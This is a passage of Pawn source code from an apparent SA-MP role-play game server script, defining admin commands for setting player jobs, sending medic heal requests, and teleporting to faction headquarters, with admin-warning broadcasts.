								format(Member, sizeof(Member), "%d",PlayerInfo[playerid][pMember]);

								new reas[70];
								format(reas, sizeof(reas), "%s",PINFO[playerid][pName]);

								AddLog(PINFO[para1][pName], Member, rank, reas, 8);
							}
						}
				}
				else
				{
					SendMessage(playerid, COLOR_YELLOW, "Error: Only leaders can use this command.");
				}
			}
			return 1;
		}
	//----------------------------------[setjob]------------------------------------------------
		if(strcmp(cmd, "/setjob", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /Setjob <Playerid/PartOfName> <Jobid>");
					return 1;
				}
				new para1;
				new jobid;
				para1 = ReturnUser6(tmp);
				if(PlayerInfo[playerid][pAdmin]==7||PlayerInfo[playerid][pAdmin]==8||PlayerInfo[playerid][pAdmin]==9)
	   {
		  if(para1!=playerid)
		  {
			 SCM(playerid,COLOR_YELLOW2,"Error: You can't use this command on this syntax.");
			 return 1;
		  }
	   }
	   if(PINFO[playerid][pAdmin] < PINFO[para1][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
				tmp = strtok(cmdtext, idx);
				jobid = strval(tmp);
				if (PlayerInfo[playerid][pAdmin] >= 9 || PINFO[playerid][pSponser] == 1)
				{
					if(IsPlayerConnected(para1))
					{
						if(para1 != INVALID_PLAYER_ID)
						{
						if(jobid >= 25) return SCM(playerid, COLOR_YELLOW2, "Error: Invalid job id.");
						if(jobid < 1) return SCM(playerid, COLOR_YELLOW2, "Error: Invalid job id.");
						if(jobid == 3) return SCM(playerid, COLOR_YELLOW2, "Error: Invalid job id.");
						if(jobid == 6) return SCM(playerid, COLOR_YELLOW2, "Error: Invalid job id.");
						if(jobid == 8) return SCM(playerid, COLOR_YELLOW2, "Error: Invalid job id.");
						if(jobid == 10) return SCM(playerid, COLOR_YELLOW2, "Error: Invalid job id.");
						if(jobid == 11) return SCM(playerid, COLOR_YELLOW2, "Error: Invalid job id.");
						if(jobid == 12) return SCM(playerid, COLOR_YELLOW2, "Error: Invalid job id.");
						if(jobid == 13) return SCM(playerid, COLOR_YELLOW2, "Error: Invalid job id.");
						if(jobid == 15) return SCM(playerid, COLOR_YELLOW2, "Error: Invalid job id.");
						if(jobid == 17) return SCM(playerid, COLOR_YELLOW2, "Error: Invalid job id.");
						if(jobid == 19) return SCM(playerid, COLOR_YELLOW2, "Error: Invalid job id.");
							new jobtext[30];
							if(jobid == 1) jobtext = "Detective";
							if(jobid == 2) jobtext = "Lawyer";
							if(jobid == 4) jobtext = "Drug Dealer";
							if(jobid == 5) jobtext = "Car Jacker";
							if(jobid == 7) jobtext = "Car Mechanic";
							if(jobid == 9) jobtext = "Arms Dealer";
							if(jobid == 14) jobtext = "Bus Driver";
							if(jobid == 16) jobtext = "Trucker";
							if(jobid == 18) jobtext = "Farmer";
							if(jobid == 20) jobtext = "Garbage Man";
							if(jobid == 21) jobtext = "Pizza Boy";
							if(jobid == 22) jobtext = "Sweeper";
							if(jobid == 23) jobtext = "Liquor Dealer";
							if(jobid == 24) jobtext = "Oil Dealer";
							GetPlayerName(para1, giveplayer, sizeof(giveplayer));
							GetPlayerName(playerid, sendername, sizeof(sendername));
							PlayerInfo[para1][pJob] = jobid;
							SaveKonVal(para1, "pJob", jobid);
							format(string, 256, "[Admin-Warn]: {FFFFFF}Admin %s has set %s's job to %s.", sendername,giveplayer,jobtext);
							ABroadCast(COLOR_AdminWarn,string,1);
							format(string, sizeof(string), "Your job has been changed by admin %s to %s.", PINFO[playerid][pName], jobtext);
							SendMessage(para1, COLOR_LIGHTBLUE, string);
						}
					}
				}
				else
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
				}
			}
			return 1;
		}

			if(strcmp(cmd, "/sheal", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{

				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /Sheal <Playerid/PartOfName> <Price>");
					return 1;
				}
				new para1;
				new price;
				para1 = ReturnUser6(tmp);
				tmp = strtok(cmdtext, idx);
				price = strval(tmp);
			if (!ProxDetectorS(5.0, playerid, para1))
						{
				SendMessage(playerid, COLOR_MEDIC, "Error: That player is away.");
				return 1;
				}
				if (PlayerInfo[playerid][pLeader] == 4 || PlayerInfo[playerid][pMember] == 4)
				{
					if(para1 == playerid) return SCM(playerid,COLOR_SINA3,"You cannot sheal yourself.");
					if(price < 1 || price > 6) return SCM(playerid,COLOR_SINA3,"Price just between 1 untill 5.");
					if(shealdare[para1] != 0) return SCM(playerid,COLOR_SINA3,"That player had a request already.");
					if(IsPlayerConnected(para1))
					{
						if(para1 != INVALID_PLAYER_ID)
						{
							GetPlayerName(para1, giveplayer, sizeof(giveplayer));
							GetPlayerName(playerid, sendername, sizeof(sendername));
							shealdare[para1] = 1;
							sprice[para1] = price;
							idss[para1] = playerid;
//							new string[128];
							format(string, 128, "%s sent a request for heal with price: %d. type /[acc]ept heal <Playerid/PartOfName>", sendername,price);
							SendMessage(para1, COLOR_LIGHTBLUE, string);
							new string2[128];
							format(string2, 128, "you sent a request for heal with price: %d to %s.", price, giveplayer);
							SendMessage(playerid, COLOR_LIGHTBLUE, string2);
						}
					}
				}
				else
				{
					SendMessage(playerid, COLOR_MEDIC, "Error: you are not a medic.");
				}
			}
			return 1;
		}
		if(strcmp(cmd, "/gotochilliand", true) == 0 || strcmp(cmd, "/gotochiliad", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
			if(IsAtjail(playerid)) return SCM(playerid, COLOR_GG, "Error: You can't do this untill you are prisoner.");
			if(InSleep[playerid] == 1) return SCM(playerid, COLOR_SINA3, "Error: You can't goto when you're asleep.");
				if(PlayerInfo[playerid][pAdmin] >= 1 || PlayerInfo[playerid][pSponser] == 1)
				{
					if (GetPlayerState(playerid) == 2)
					{
					GetPlayerPos(playerid, GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
					GoBack1[playerid][0] = GetPlayerInterior(playerid);
					GoBack1[playerid][1] = GetPlayerVirtualWorld(playerid);
					GoBack1[playerid][2] = Mahal[playerid];
					GoBack1[playerid][3] = TooHouse[playerid];
					GoBack1[playerid][4] = TooBiz[playerid];
						new tmpcar = GetPlayerVehicleID(playerid);
						SetVehiclePos(tmpcar, -2317.8091,-1637.5575,483.7031);
						TelePos[playerid][0] = 0.0;TelePos[playerid][1] = 0.0;
					}
					else
					{
					GetPlayerPos(playerid, GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
					GoBack1[playerid][0] = GetPlayerInterior(playerid);
					GoBack1[playerid][1] = GetPlayerVirtualWorld(playerid);
					GoBack1[playerid][2] = Mahal[playerid];
					GoBack1[playerid][3] = TooHouse[playerid];
					GoBack1[playerid][4] = TooBiz[playerid];
						SetPlayerPos(playerid, -2317.8091,-1637.5575,483.7031);
						GameTextForPlayer(playerid, "~w~Chilliand",5000,1);
					}
				  new adm[114];
				{
				format(adm, sizeof(adm), "{FFFFFF}Admin %s goes to Chilliand", PlayerInfo[playerid][pName]);
				AdminWarn(adm);
				}
					SendMessage(playerid, COLOR_GRAD1, "You have been teleported to Chilliand");
					SetPlayerInterior(playerid,0);
					Mahal[playerid] = 9999;
					TooHouse[playerid] = 9999;
					TooBiz[playerid] = 9999;
				}
				else
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
				}
			}
			return 1;
		}
if(strcmp(cmd, "/gotocivil", true) == 0 || strcmp(cmd, "/gotocivilian", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
			if(IsAtjail(playerid)) return SCM(playerid, COLOR_GG, "Error: You can't do this untill you are prisoner.");
			if(InSleep[playerid] == 1) return SCM(playerid, COLOR_SINA3, "Error: You can't goto when you're asleep.");
				if(PlayerInfo[playerid][pHelper] >= 1 || PINFO[playerid][pAdmin] >= 1 || PlayerInfo[playerid][pSponser] == 1)
				{
					if (GetPlayerState(playerid) == 2)
					{
					GetPlayerPos(playerid, GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
					GoBack1[playerid][0] = GetPlayerInterior(playerid);
					GoBack1[playerid][1] = GetPlayerVirtualWorld(playerid);
					GoBack1[playerid][2] = Mahal[playerid];
					GoBack1[playerid][3] = TooHouse[playerid];
					GoBack1[playerid][4] = TooBiz[playerid];
						new tmpcar = GetPlayerVehicleID(playerid);
						SetVehiclePos(tmpcar, 1640.846, -2256.019,12.909);
						TelePos[playerid][0] = 0.0;TelePos[playerid][1] = 0.0;
					}
					else
					{
					GetPlayerPos(playerid, GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
					GoBack1[playerid][0] = GetPlayerInterior(playerid);
					GoBack1[playerid][1] = GetPlayerVirtualWorld(playerid);
					GoBack1[playerid][2] = Mahal[playerid];
					GoBack1[playerid][3] = TooHouse[playerid];
					GoBack1[playerid][4] = TooBiz[playerid];
						SetPlayerPos(playerid, 1640.846, -2256.019,12.909);
					}
					Mahal[playerid] = 9999;
					TooHouse[playerid] = 9999;
					TooBiz[playerid] = 9999;

					if(PINFO[playerid][pAdmin] >= 1)
					{
				new adm[114];
				format(adm, sizeof(adm), "{FFFFFF}Admin %s goes to Civilian Spawn. ", PlayerInfo[playerid][pName], PlayerInfo[playerid][pHelper]);
				AdminWarn(adm);
				}

				
					if(PINFO[playerid][pHelper] >= 1 && PINFO[playerid][pAdmin] == 0)
					{
				new hlp[512];
				format(hlp, sizeof(hlp), "[Helper-Warn]: {FFFFFF}Helper %s goes to Civilian Spawn.", PlayerInfo[playerid][pName]);
				SendHelperMessage(COLOR_SINAABI, hlp);
				}
				
				
					SendMessage(playerid, COLOR_GRAD1, "You have been teleported to Civilian Spawn.");
					SetPlayerInterior(playerid,0);
				}
				else
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: Your admin/helper level isn't high enough to use this command.");
				}
			}
			return 1;
		}
		if(strcmp(cmd, "/gotobankls", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
			if(IsAtjail(playerid)) return SCM(playerid, COLOR_GG, "Error: You can't do this untill you are prisoner.");
			if(InSleep[playerid] == 1) return SCM(playerid, COLOR_SINA3, "Error: You can't goto when you're asleep.");
				if(PlayerInfo[playerid][pAdmin] >= 1 || PlayerInfo[playerid][pSponser] == 1)
				{
					if (GetPlayerState(playerid) == 2)
					{
					GetPlayerPos(playerid, GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
					GoBack1[playerid][0] = GetPlayerInterior(playerid);
					GoBack1[playerid][1] = GetPlayerVirtualWorld(playerid);
					GoBack1[playerid][2] = Mahal[playerid];
					GoBack1[playerid][3] = TooHouse[playerid];
					GoBack1[playerid][4] = TooBiz[playerid];
						new tmpcar = GetPlayerVehicleID(playerid);
						SetVehiclePos(tmpcar, 1462.2821,-1014.6368,26.5002);
						TelePos[playerid][0] = 0.0;TelePos[playerid][1] = 0.0;
					}
					else
					{
					GetPlayerPos(playerid, GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
					GoBack1[playerid][0] = GetPlayerInterior(playerid);
					GoBack1[playerid][1] = GetPlayerVirtualWorld(playerid);
					GoBack1[playerid][2] = Mahal[playerid];
					GoBack1[playerid][3] = TooHouse[playerid];
					GoBack1[playerid][4] = TooBiz[playerid];
						SetPlayerPos(playerid, 1462.2821,-1014.6368,26.5002);
					}
					Mahal[playerid] = 9999;
					TooHouse[playerid] = 9999;
					TooBiz[playerid] = 9999;
				  new adm[114];
				{
				format(adm, sizeof(adm), "{FFFFFF}Admin %s goes to Bank LS", PlayerInfo[playerid][pName]);
				AdminWarn(adm);
				}
					SendMessage(playerid, COLOR_GRAD1, "You have been teleported to Bank LS");
					SetPlayerInterior(playerid,0);
				}
				else
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
				}
			}
			return 1;
		}
			//-------PD-----------
	if(strcmp(cmd, "/goto1", true) == 0)
	{
	   if(IsPlayerConnected(playerid))
	   {
	   if(IsAtjail(playerid)) return SCM(playerid, COLOR_GG, "Error: You can't do this untill you are prisoner.");
	   if(InSleep[playerid] == 1) return SCM(playerid, COLOR_SINA3, "Error: You can't goto when you're asleep.");
		  if(PlayerInfo[playerid][pAdmin] >= 1 || PlayerInfo[playerid][pSponser] == 1)
		  {
			 if (GetPlayerState(playerid) == 2)
			 {
					GetPlayerPos(playerid, GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
				GoBack1[playerid][0] = GetPlayerInterior(playerid);
				GoBack1[playerid][1] = GetPlayerVirtualWorld(playerid);
				GoBack1[playerid][2] = Mahal[playerid];
				GoBack1[playerid][3] = TooHouse[playerid];
				GoBack1[playerid][4] = TooBiz[playerid];
				new tmpcar = GetPlayerVehicleID(playerid);
				SetVehiclePos(tmpcar, 1565.54,-1695.19,6.35);
				TelePos[playerid][0] = 0.0;TelePos[playerid][1] = 0.0;
			 }
			 else
			 {
					GetPlayerPos(playerid, GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
				GoBack1[playerid][0] = GetPlayerInterior(playerid);
				GoBack1[playerid][1] = GetPlayerVirtualWorld(playerid);
				GoBack1[playerid][2] = Mahal[playerid];
				GoBack1[playerid][3] = TooHouse[playerid];
				GoBack1[playerid][4] = TooBiz[playerid];
				SetPlayerPos(playerid, 1565.54,-1695.19,6.35);
			 }
			 Mahal[playerid] = 9999;
			 TooHouse[playerid] = 9999;
			 TooBiz[playerid] = 9999;
								new adm[114];
				{
				format(adm, sizeof(adm), "{FFFFFF}Admin %s goes to Police Department HQ", PlayerInfo[playerid][pName]);
				AdminWarn(adm);
				}
			 SendClientMessage(playerid, COLOR_GRAD1, "You have been teleported to Police Department HQ.");
			 SetPlayerInterior(playerid,0);
		  }
		  else
		  {
			 SendClientMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
		  }
	   }
	   return 1;
	}
	//----------FBi------------
	if(strcmp(cmd, "/goto2", true) == 0)
	{
	   if(IsPlayerConnected(playerid))
	   {
	   if(IsAtjail(playerid)) return SCM(playerid, COLOR_GG, "Error: You can't do this untill you are prisoner.");
	   if(InSleep[playerid] == 1) return SCM(playerid, COLOR_SINA3, "Error: You can't goto when you're asleep.");
		  if(PlayerInfo[playerid][pAdmin] >= 1 || PlayerInfo[playerid][pSponser] == 1)
		  {
			 if (GetPlayerState(playerid) == 2)
			 {
					GetPlayerPos(playerid, GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
				GoBack1[playerid][0] = GetPlayerInterior(playerid);
				GoBack1[playerid][1] = GetPlayerVirtualWorld(playerid);
				GoBack1[playerid][2] = Mahal[playerid];
				GoBack1[playerid][3] = TooHouse[playerid];
				GoBack1[playerid][4] = TooBiz[playerid];
				new tmpcar = GetPlayerVehicleID(playerid);
				SetVehiclePos(tmpcar, 2286.39,2429.37,10.26);
				TelePos[playerid][0] = 0.0;TelePos[playerid][1] = 0.0;
			 }
			 else
			 {
					GetPlayerPos(playerid, GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
				GoBack1[playerid][0] = GetPlayerInterior(playerid);
				GoBack1[playerid][1] = GetPlayerVirtualWorld(playerid);
				GoBack1[playerid][2] = Mahal[playerid];
				GoBack1[playerid][3] = TooHouse[playerid];
				GoBack1[playerid][4] = TooBiz[playerid];
				SetPlayerPos(playerid, 2286.39,2429.37,10.26);
			 }
			 Mahal[playerid] = 9999;
			 TooHouse[playerid] = 9999;
			 TooBiz[playerid] = 9999;
											new adm[114];
				{
				format(adm, sizeof(adm), "{FFFFFF}Admin %s goes to FBI HQ", PlayerInfo[playerid][pName]);
				AdminWarn(adm);
				}
			 SendClientMessage(playerid, COLOR_GRAD1, "You have been teleported to FBI HQ.");
			 SetPlayerInterior(playerid,0);
		  }
		  else
		  {
			 SendClientMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
		  }
	   }
	   return 1;
	}
	//-------------NG---------------
	if(strcmp(cmd, "/goto3", true) == 0)
	{
	   if(IsPlayerConnected(playerid))
	   {
	   if(IsAtjail(playerid)) return SCM(playerid, COLOR_GG, "Error: You can't do this untill you are prisoner.");
	   if(InSleep[playerid] == 1) return SCM(playerid, COLOR_SINA3, "Error: You can't goto when you're asleep.");
		  if(PlayerInfo[playerid][pAdmin] >= 1 || PlayerInfo[playerid][pSponser] == 1)
		  {
			 if (GetPlayerState(playerid) == 2)
			 {
					GetPlayerPos(playerid, GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
				GoBack1[playerid][0] = GetPlayerInterior(playerid);
				GoBack1[playerid][1] = GetPlayerVirtualWorld(playerid);
				GoBack1[playerid][2] = Mahal[playerid];
				GoBack1[playerid][3] = TooHouse[playerid];
				GoBack1[playerid][4] = TooBiz[playerid];
				new tmpcar = GetPlayerVehicleID(playerid);
				SetVehiclePos(tmpcar, 210.16,1903.58,17.62);
				TelePos[playerid][0] = 0.0;TelePos[playerid][1] = 0.0;
			 }
			 else
			 {
					GetPlayerPos(playerid, GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
				GoBack1[playerid][0] = GetPlayerInterior(playerid);
				GoBack1[playerid][1] = GetPlayerVirtualWorld(playerid);
				GoBack1[playerid][2] = Mahal[playerid];
				GoBack1[playerid][3] = TooHouse[playerid];
				GoBack1[playerid][4] = TooBiz[playerid];
				SetPlayerPos(playerid, 210.16,1903.58,17.62);
			 }
			 Mahal[playerid] = 9999;
			 TooHouse[playerid] = 9999;
			 TooBiz[playerid] = 9999;
											new adm[114];
				{
				format(adm, sizeof(adm), "{FFFFFF}Admin %s goes to National Guard HQ", PlayerInfo[playerid][pName]);
				AdminWarn(adm);
				}
			 SendClientMessage(playerid, COLOR_GRAD1, "You have been teleported to National Guard HQ.");
			 SetPlayerInterior(playerid,0);
		  }
		  else
		  {
			 SendClientMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
		  }
	   }
	   return 1;
	}
	//----------Medic----------------
	if(strcmp(cmd, "/goto4", true) == 0)
	{
	   if(IsPlayerConnected(playerid))
	   {
	   if(IsAtjail(playerid)) return SCM(playerid, COLOR_GG, "Error: You can't do this untill you are prisoner.");
	   if(InSleep[playerid] == 1) return SCM(playerid, COLOR_SINA3, "Error: You can't goto when you're asleep.");
		  if(PlayerInfo[playerid][pAdmin] >= 1 || PlayerInfo[playerid][pSponser] == 1)
		  {
			 if (GetPlayerState(playerid) == 2)
			 {
					GetPlayerPos(playerid, GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
				GoBack1[playerid][0] = GetPlayerInterior(playerid);
				GoBack1[playerid][1] = GetPlayerVirtualWorld(playerid);
				GoBack1[playerid][2] = Mahal[playerid];
				GoBack1[playerid][3] = TooHouse[playerid];
				GoBack1[playerid][4] = TooBiz[playerid];
				new tmpcar = GetPlayerVehicleID(playerid);
				SetVehiclePos(tmpcar, 1604.30,1828.76,10.19);
				TelePos[playerid][0] = 0.0;TelePos[playerid][1] = 0.0;
			 }
			 else
			 {
					GetPlayerPos(playerid, GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
				GoBack1[playerid][0] = GetPlayerInterior(playerid);
				GoBack1[playerid][1] = GetPlayerVirtualWorld(playerid);
				GoBack1[playerid][2] = Mahal[playerid];
				GoBack1[playerid][3] = TooHouse[playerid];
				GoBack1[playerid][4] = TooBiz[playerid];
				SetPlayerPos(playerid, 1604.30,1828.76,10.19);
			 }
			 Mahal[playerid] = 9999;
			 TooHouse[playerid] = 9999;
			 TooBiz[playerid] = 9999;
											new adm[114];
				{
				format(adm, sizeof(adm), "{FFFFFF}Admin %s goes to Fire & Medic Department HQ", PlayerInfo[playerid][pName]);
				AdminWarn(adm);
				}
			 SendClientMessage(playerid, COLOR_GRAD1, "You have been teleported to Fire & Medic Department HQ.");
			 SetPlayerInterior(playerid,0);
		  }
		  else
		  {
			 SendClientMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
		  }
	   }
	   return 1;
	}
	//-------silence----------------
	if(strcmp(cmd, "/goto5", true) == 0)
	{
	   if(IsPlayerConnected(playerid))
	   {
	   if(IsAtjail(playerid)) return SCM(playerid, COLOR_GG, "Error: You can't do this untill you are prisoner.");
	   if(InSleep[playerid] == 1) return SCM(playerid, COLOR_SINA3, "Error: You can't goto when you're asleep.");
		  if(PlayerInfo[playerid][pAdmin] >= 1 || PlayerInfo[playerid][pSponser] == 1)
		  {
			 if (GetPlayerState(playerid) == 2)
			 {
					GetPlayerPos(playerid, GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
				GoBack1[playerid][0] = GetPlayerInterior(playerid);
				GoBack1[playerid][1] = GetPlayerVirtualWorld(playerid);
				GoBack1[playerid][2] = Mahal[playerid];
				GoBack1[playerid][3] = TooHouse[playerid];
				GoBack1[playerid][4] = TooBiz[playerid];
				new tmpcar = GetPlayerVehicleID(playerid);
				SetVehiclePos(tmpcar, 725.77,-1443.90,17.013);
				TelePos[playerid][0] = 0.0;TelePos[playerid][1] = 0.0;
			 }
			 else
			 {
					GetPlayerPos(playerid, GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
				GoBack1[playerid][0] = GetPlayerInterior(playerid);
				GoBack1[playerid][1] = GetPlayerVirtualWorld(playerid);
				GoBack1[playerid][2] = Mahal[playerid];
				GoBack1[playerid][3] = TooHouse[playerid];
				GoBack1[playerid][4] = TooBiz[playerid];
				SetPlayerPos(playerid, 725.77,-1443.90,17.013);
			 }
			 Mahal[playerid] = 9999;
			 TooHouse[playerid] = 9999;
			 TooBiz[playerid] = 9999;
											new adm[114];
				{
				format(adm, sizeof(adm), "{FFFFFF}Admin %s goes to Silence Mafia HQ", PlayerInfo[playerid][pName]);
				AdminWarn(adm);
				}
			 SendClientMessage(playerid, COLOR_GRAD1, "You have been teleported to Silence Mafia HQ.");
			 SetPlayerInterior(playerid,0);
		  }
		  else
		  {
			 SendClientMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
		  }
	   }
	   return 1;
	}
	//-------------Killer----------
	if(strcmp(cmd, "/goto6", true) == 0)
	{
	   if(IsPlayerConnected(playerid))
	   {
	   if(IsAtjail(playerid)) return SCM(playerid, COLOR_GG, "Error: You can't do this untill you are prisoner.");
	   if(InSleep[playerid] == 1) return SCM(playerid, COLOR_SINA3, "Error: You can't goto when you're asleep.");
		  if(PlayerInfo[playerid][pAdmin] >= 1 || PlayerInfo[playerid][pSponser] == 1)
		  {
			 if (GetPlayerState(playerid) == 2)
			 {
					GetPlayerPos(playerid, GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
				GoBack1[playerid][0] = GetPlayerInterior(playerid);
				GoBack1[playerid][1] = GetPlayerVirtualWorld(playerid);
				GoBack1[playerid][2] = Mahal[playerid];
				GoBack1[playerid][3] = TooHouse[playerid];
				GoBack1[playerid][4] = TooBiz[playerid];
				new tmpcar = GetPlayerVehicleID(playerid);
				SetVehiclePos(tmpcar, 1462.86,2774.27,11.38);
				TelePos[playerid][0] = 0.0;TelePos[playerid][1] = 0.0;
			 }
			 else
			 {
					GetPlayerPos(playerid, GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
				GoBack1[playerid][0] = GetPlayerInterior(playerid);
				GoBack1[playerid][1] = GetPlayerVirtualWorld(playerid);
				GoBack1[playerid][2] = Mahal[playerid];
				GoBack1[playerid][3] = TooHouse[playerid];
				GoBack1[playerid][4] = TooBiz[playerid];
				SetPlayerPos(playerid, 1462.86,2774.27,11.38);
			 }
			 Mahal[playerid] = 9999;
			 TooHouse[playerid] = 9999;
			 TooBiz[playerid] = 9999;
											new adm[114];
				{
				format(adm, sizeof(adm), "{FFFFFF}Admin %s goes to The Killers Family HQ", PlayerInfo[playerid][pName]);
				AdminWarn(adm);
				}
			 SendClientMessage(playerid, COLOR_GRAD1, "You have been teleported to The Killers Family HQ.");
			 SetPlayerInterior(playerid,0);
		  }
		  else
		  {
			 SendClientMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
		  }
	   }
	   return 1;
	}
	//------------------mayor------------------
	if(strcmp(cmd, "/goto7", true) == 0)
	{
	   if(IsPlayerConnected(playerid))
	   {
	   if(IsAtjail(playerid)) return SCM(playerid, COLOR_GG, "Error: You can't do this untill you are prisoner.");
	   if(InSleep[playerid] == 1) return SCM(playerid, COLOR_SINA3, "Error: You can't goto when you're asleep.");
		  if(PlayerInfo[playerid][pAdmin] >= 1 || PlayerInfo[playerid][pSponser] == 1)
		  {
			 if (GetPlayerState(playerid) == 2)
			 {
					GetPlayerPos(playerid, GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
				GoBack1[playerid][0] = GetPlayerInterior(playerid);
				GoBack1[playerid][1] = GetPlayerVirtualWorld(playerid);
				GoBack1[playerid][2] = Mahal[playerid];
				GoBack1[playerid][3] = TooHouse[playerid];
				GoBack1[playerid][4] = TooBiz[playerid];
				new tmpcar = GetPlayerVehicleID(playerid);
				SetVehiclePos(tmpcar, 1480.80,-1768.02,18.34);
				TelePos[playerid][0] = 0.0;TelePos[playerid][1] = 0.0;
			 }
			 else
			 {
					GetPlayerPos(playerid, GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
				GoBack1[playerid][0] = GetPlayerInterior(playerid);
				GoBack1[playerid][1] = GetPlayerVirtualWorld(playerid);
				GoBack1[playerid][2] = Mahal[playerid];
				GoBack1[playerid][3] = TooHouse[playerid];
				GoBack1[playerid][4] = TooBiz[playerid];
				SetPlayerPos(playerid, 1480.80,-1768.02,18.34);
			 }
			 Mahal[playerid] = 9999;
			 TooHouse[playerid] = 9999;
			 TooBiz[playerid] = 9999;
											new adm[114];
				{
				format(adm, sizeof(adm), "{FFFFFF}Admin %s goes to Mayor HQ", PlayerInfo[playerid][pName]);
				AdminWarn(adm);
				}
			 SendClientMessage(playerid, COLOR_GRAD1, "You have been teleported to Mayor HQ.");
			 SetPlayerInterior(playerid,0);
		  }
		  else
		  {
			 SendClientMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
		  }
	   }
	   return 1;
	}
	//---------------hitman----------------
	if(strcmp(cmd, "/goto8", true) == 0)
	{
	   if(IsPlayerConnected(playerid))
	   {
	   if(IsAtjail(playerid)) return SCM(playerid, COLOR_GG, "Error: You can't do this untill you are prisoner.");
	   if(InSleep[playerid] == 1) return SCM(playerid, COLOR_SINA3, "Error: You can't goto when you're asleep.");
		  if(PlayerInfo[playerid][pAdmin] >= 1 || PlayerInfo[playerid][pSponser] == 1)
		  {
			 if (GetPlayerState(playerid) == 2)
			 {
					GetPlayerPos(playerid, GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
				GoBack1[playerid][0] = GetPlayerInterior(playerid);
				GoBack1[playerid][1] = GetPlayerVirtualWorld(playerid);
				GoBack1[playerid][2] = Mahal[playerid];
				GoBack1[playerid][3] = TooHouse[playerid];
				GoBack1[playerid][4] = TooBiz[playerid];
				new tmpcar = GetPlayerVehicleID(playerid);
				SetVehiclePos(tmpcar, 1073.24,-330.42,73.61);
				TelePos[playerid][0] = 0.0;TelePos[playerid][1] = 0.0;
			 }
			 else
			 {
					GetPlayerPos(playerid, GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
				GoBack1[playerid][0] = GetPlayerInterior(playerid);
				GoBack1[playerid][1] = GetPlayerVirtualWorld(playerid);
				GoBack1[playerid][2] = Mahal[playerid];
				GoBack1[playerid][3] = TooHouse[playerid];
				GoBack1[playerid][4] = TooBiz[playerid];
				SetPlayerPos(playerid, 1073.24,-330.42,73.61);
			 }
			 Mahal[playerid] = 9999;
			 TooHouse[playerid] = 9999;
			 TooBiz[playerid] = 9999;
											new adm[114];
				{
				format(adm, sizeof(adm), "{FFFFFF}Admin %s goes to Hitman Agency HQ", PlayerInfo[playerid][pName]);
				AdminWarn(adm);
				}
			 SendClientMessage(playerid, COLOR_GRAD1, "You have been teleported to Hitman Agency HQ.");
			 SetPlayerInterior(playerid,0);
		  }
		  else
		  {
			 SendClientMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
		  }
	   }
	   return 1;
	}
	//------------NR----------------
	if(strcmp(cmd, "/goto9", true) == 0)
	{
	   if(IsPlayerConnected(playerid))
	   {
	   if(IsAtjail(playerid)) return SCM(playerid, COLOR_GG, "Error: You can't do this untill you are prisoner.");
	   if(InSleep[playerid] == 1) return SCM(playerid, COLOR_SINA3, "Error: You can't goto when you're asleep.");
		  if(PlayerInfo[playerid][pAdmin] >= 1 || PlayerInfo[playerid][pSponser] == 1)
		  {
			 if (GetPlayerState(playerid) == 2)
			 {
					GetPlayerPos(playerid, GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
				GoBack1[playerid][0] = GetPlayerInterior(playerid);
				GoBack1[playerid][1] = GetPlayerVirtualWorld(playerid);
				GoBack1[playerid][2] = Mahal[playerid];
				GoBack1[playerid][3] = TooHouse[playerid];
				GoBack1[playerid][4] = TooBiz[playerid];
				new tmpcar = GetPlayerVehicleID(playerid);
				SetVehiclePos(tmpcar, -324.015747, 1530.309082, 75.356956);
				TelePos[playerid][0] = 0.0;TelePos[playerid][1] = 0.0;
			 }
			 else
			 {
					GetPlayerPos(playerid, GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
				GoBack1[playerid][0] = GetPlayerInterior(playerid);
				GoBack1[playerid][1] = GetPlayerVirtualWorld(playerid);
